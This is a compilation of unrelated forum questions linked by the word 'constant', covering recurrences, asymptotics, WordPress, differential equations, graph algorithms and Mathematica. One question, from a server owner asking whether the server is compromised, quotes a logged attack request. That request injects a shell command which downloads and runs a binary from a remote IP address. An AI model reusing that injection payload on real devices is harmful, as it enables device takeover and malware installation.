## Choosing Constant for Last Step in Substitution METHOD $T(n)= 5T(n/4) + n^2$

I figured out a solution to a recurrence relation, but I’m not sure what the constant should be for the last step to hold.

$$T(n)= 5T(n/4) + n^2$$

Guess: $$T(n) = O(n^2)$$

Prove: $$T(n) \leq cn^2$$

Breakdown

$$T(n) \leq 5(c(n/4)^2) + n^2$$

$$= (5/16)cn^2 + n^2$$

$$\leq cn^2$$

For the last step to hold I’m not sure what the value of c should be because of the (5/16). My guess would be c >= 1 and I’m not sure if that would hold.

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## Does a function $f$ exists such that: $f(n-k) \ne \Theta(f(n))$ for some constant $k\geq1$?

I have encountered the following question in my homework assignment in Data Structures course:

"Does a function $$f$$ exists such that: $$f(n-k) \ne \Theta(f(n))$$ for some constant $$k\geq1$$ ?"

I think no such function $$f$$ exists, but I do not know how to prove it (or give a counter-example if one exists).

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## Fatal error and use of undefined constant in child theme unless I redefine it

Child theme functions.php:

// Init. require_once( WPBF_CHILD_THEME_DIR . '/inc/init-child.php'); 

In the parent theme functions.php, the constant is defined:

define( 'WPBF_CHILD_THEME_DIR', get_stylesheet_directory() ); 

If I include the same constant definition in the child theme like the above, then the require_once works and /inc/init-child.php file is loaded.

However I get a notice stating that the constant is already defined in the parent theme’s functions.php (correct!).

But if I remove this from the child theme’s functions.php, then I get the following:-

Warning: Use of undefined constant WPBF_CHILD_THEME_DIR - assumed 'WPBF_CHILD_THEME_DIR' (this will throw an Error in a future version of PHP) in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42  Warning: require_once(WPBF_CHILD_THEME_DIR/inc/init-child.php): failed to open stream: No such file or directory in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42  Fatal error: require_once(): Failed opening required 'WPBF_CHILD_THEME_DIR/inc/init-child.php' (include_path='.:/opt/plesk/php/7.3/share/pear') in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42 

So why can I only load the file via the child theme if I redefine the constant even though it is going to show me a notice to state it is already defined…?

The same constant is already in use in the very same child theme functions.php file further up as well like:

// Textdomain. load_child_theme_textdomain( 'page-builder-framework-child', WPBF_CHILD_THEME_DIR . '/languages' ); 

I am assuming there should be a correct way to load the file needed without having to repeat constant definitions?

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## Constant POST request spam to /cgi-bin/ViewLog.asp endpoint

I’ve got a DigitalOcean server that I use for different temporary servers. Lately I’ve found that sometimes I get a constant spam of the following requests:

POST http://127.0.0.1/cgi-bin/ViewLog.asp  Headers:     Host: 127.0.0.1     Connection: keep-alive     Accept-Encoding": gzip, deflate     Accept: */*     User-Agent: B4ckdoor-owned-you     Content-Length: 176     Content-Type: application/x-www-form-urlencoded  Body: {     " remote_submit_Flag": "1", // Space is not a typo     "remote_syslog_Flag": "1",     "RemoteSyslogSupported": "1",     "LogFlag": "0",     "remote_host": ";cd /tmp;wget http://152.44.44.68/d/xd.arm7;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm" } 

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I’ve used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?

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## Why is the independent constant of the differential equation not equal to the order of the differential equation?

I remember a conclusion: the number of independent constants in differential equations is equal to the order of the differential equation.

However, 23 independent constants are generated after the following fourth-order differential equation is solved.

DSolve[{D[2 D[ω[x, t], {x, 2}], {x, 2}] + D[ω[x, t], {t, 2}] == 0}, ω[x, t], {x, t}] Out:= {{ω[x, t] ->     1/1680 (1680 C t^2 x^4 - 1411200 C t^2 x^3 -        470400 C t^3 x^3 - 604800 C t^2 x^2 -        201600 C t^3 x^2 - 201600 C t^2 x - 67200 C t^3 x -        40320 C t^2 - 13440 C t^3 - 6720 C t^4 +        1680 C t x^7 + 1680 C t x^6 + 1680 C t x^5 +        1680 C t x^4 + 1680 C t x^3 + 1680 C t x^2 +        1680 C t x + 1680 C t - C x^8 + 1680 C x^7 +        1680 C x^6 + 1680 C x^5 + 1680 C x^4 + 1680 C x^3 +        1680 C x^2 + 1680 C x + 1680 C)}} 

We can see that the number of independent constants in the solution of this differential equation is far greater than the order of this differential equation. I want to know the relationship between the number of independent constants in the solution of a differential equation and the order of the differential equation.

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## an algorithm for detecting if noisy univariate data is constant or is sum of step functions

In an explicit algorithm i’m writing, there is a certain stage where i need to determine whether or not a certain noisy univariate data is constant or is sum of step functions.

For example, defining foo as the algorithm i’m after (writing in python): assert foo(*20) == False assert foo(*20 + *20) == True assert foo(*20 + *30 + *70) == True

• The data in the examples is not noisy, but assume the real one is (just a bit, one can pinpoint where a step might take place by observing the plot of the data.

I’d be happy to hear any ideas, thank you.

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## Estimation of vertex cover in a constant boundsry

I would really appreciate your assistance with this:

for the following function: $$f\left(G,v\right)\:=\:size\:of\:minimal\:vertex\:cover\:v\:belongs\:to$$.

The function gets an undirected graph G and a vertex v and returns a natural number, which is the size of the smallest vertex cover in G that v belongs to.

problem: proving that if it is possible to estimate f in a constant boundary of 5 in polynomial time, then P=NP. meaning, if it is possible to compute in polynomial time a function $$g(G,v)$$ and it is guaranteed that $$f(G,v)-5 \leq g(G,v) \leq f(G,v) + 5$$ then P=NP.

I don’t understand why it happens and why if known that $$f(G,v)$$ can be computed in polynomial time and $$f(G,v)-5 \leq g(G,v) \leq f(G,v) + 5$$ then P=NP

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## What is an $O(n \log(n))$ binary sorting algorithm with a guaranteed low scaling constant on the run-time?

Let $$O_c(f(n))$$ denote that $$c$$ is the scaling constant for the run-time (e.g. $$\text{run time} \leq c\cdot f(n) + B$$ if $$n$$ is large enough)

The absolute lower limit on the run-time for a binary sorting algorithm is $$\log_2(n!) \in O_{1}(n \log_2(n))$$.

My question is, is there an actual sorting algorithm guaranteed to achieve that optimal scaling of $$c=1$$ on average? Or what’s the lowest possible scaling constant? And what sorting algorithm achieves the lowest (or a very low) scaling constant?

As a baseline, Quicksort achieves a scaling constant of $$c = 2 \ln(2) \approx 1.39$$, as explained on Wikipedia (see recurrences subsection).

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## what happens to max flow if we decrease the capacity of every edge by some constant?

Given a graph $$G = (V,A)$$, with source $$s$$, sink $$t$$, edge capacity larger than 1 (but not all equal), I know that if we decrease the capacity of one edge by 1, the $$s,t$$-maximum flow decreases by at most 1. But I would like to know what happens to max flow if we decrease (or increase) the capacity of all edges by 1. I’d appreciate any comments/insights on this. Thanks!

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## Conditionally returning a constant if function returns Undefined

Often times functions might return Undefined in Mathematica, e.g. when the Volume@RegionIntersection is called for 2 objects which have no overlapping volume. A simple If statement checking if the return has been indeed Undefined does not seem to work. For example, a=Undefined; If[a == Undefined, Print["yes"]] ends up printing the command itself.

• How can we check if a variable (or a function return) such as a has been assigned as Undefined and assign a different value to it in that case?